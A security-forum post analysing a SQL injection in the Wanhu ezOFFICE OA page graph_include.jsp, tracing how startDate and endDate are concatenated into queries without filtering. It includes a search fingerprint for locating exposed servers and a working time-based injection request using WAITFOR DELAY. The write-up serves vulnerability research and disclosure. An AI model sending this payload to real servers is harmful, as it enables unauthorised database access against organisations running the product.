问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
万户graph include.jsp sql注入的漏洞分析
漏洞分析
万户graph include.jsp sql注入的漏洞分析
万户graph include.jsp sql注入的漏洞分析 ============================== 产品介绍 ---- 万户OA ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台,将外网信息维护、客户服务、互动交流和日常工作紧密结合起来,有效提高工作效率。 漏洞复现 ---- 指纹`app:"Wanhu ezOFFICE ERP httpd"` 进入页面访问`/defaultroot/platform/report/graphreport/graph_include.jsp`该页面,传入相应poc ![image-20240811213553171](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ace04874e87ee4e087cf54e856be03d15b023f96.png) **poc** GET /defaultroot/platform/report/graphreport/graph\_include.jsp?id=2&startDate=2022-01-01%2000:00:00.000%27%20as%20datetime)%20group%20by%20t.emp\_id,t.empname%20)%20%20s%20group%20by%20empname%20order%20by%20num%20desc%20%20WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Connection: close **代码分析** -------- 首先根据路由我们进入相关代码页面 GET /defaultroot/platform/report/graphreport/graph\_include.jsp ![image-20240811170553436](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-c939751d0a767542a6fba60319fe96c24e34e390.png) 进入到这个`graph_include.jsp`页面,我们一步步进行分析 ![image-20240811171105443](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-848d3c7879098315604db49d91e057a58dd0cfe1.png) **分析:** 首先是接受从前端传过来的参数`startDate`和`enDate`参数后,分别进行参数是否为空的判断,若不为空进行格式化; 然后接受前端传来的`id`的值,接受前端来的 `order`和`group`的值,如果没有值则设为0,同时调用了htmlcode()方法 ![image-20240811173425883](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-fdd626b75f686517b846ec91f1326a8bccd92235.png) 该方法用于将字符串中的字符转换成 HTML 转义字符。这通常用于防止跨站脚本攻击(XSS) 接着进入到if语句中,构建不同的 SQL 查询语句 ![image-20240811173654010](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-2ddc2ab7df886abf9e656f725a3a214287d410c0.png) **分析:** 这段 Java 代码是用于处理数据库查询的逻辑。它首先检查 `id` 是否为空,如果不为空,则尝试从数据库加载一个 `GraphReportPO` 对象。接着,根据 `GraphReportPO` 对象的 `dataType` 和 `typeId` 属性,构建不同的 SQL 查询语句。 reportType=2时,会根据数据库的类型来进行sql的拼接,会将我们的`startDate`和`endDate`的值拼接到sql语句 ![image-20240811181739166](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-7e2085dfcaa5fbbe716605728a9d3b04a7fe8a2d.png) 而当reportType为其他值时,并没有这种可以控制参数的sql语句的拼接 ![image-20240811182227328](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-39d7b39514f2a6a3cf3cd9528c151c37fcd27322.png) 若id不为空就会执行`db.getDataXML()`方法将sql语句作为参数执行该方法,得到一个xml格数的返回值,接着赋值给graph ![image-20240811182627122](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-50ff348970efa355132e83297d6acbcdd6ba8d9c.png) 进入到getDataXML()方法 ![image-20240811185147995](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-5e3de733ab717112aaf50bc96228163897ac7cf9.png) ![image-20240811185530115](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-f1a4ba2787470ace4fcbace73d7eeadf16801415.png) **分析:** 首先调用`getDate(dataSQL)`的方法(该方法意思执行sql语句)赋值给list,之后将其他参数进行赋值,接着进行参数的判断、语句的拼接,最后返回XML 我们进入getDate方法中 ![image-20240811185742693](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-25b3394a65424df8194fcc91488f5958c3f4f1f1.png) **分析:** 它接收一个 `String` 类型的参数 `sql`,实例化一个`ParameterGenerator`对象, 调用 `EJBProxy` 对象的 `invoke` 方法,实现sql语句的执行,然后返回一个 `List` 类型的对象。这个方法的目的是执行传入的 SQL 查询语句,并返回查询结果。 总结 -- 该代码全程没有对sql语句进行任何的过滤,只需要我们传入一个id=2的参数,进入根据数据库名称来对sql语句进行赋值(该语句会将startDta、enDate拼接到sql语句中)的if判断中,并且startDta或endDate传入的值是我们恶意的sql语句完成拼接即可实现攻击
发表于 2024-08-22 09:38:48
阅读 ( 3213 )
分类:
OA产品
1 推荐
收藏
0 条评论
请先
登录
后评论
xhys
12 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!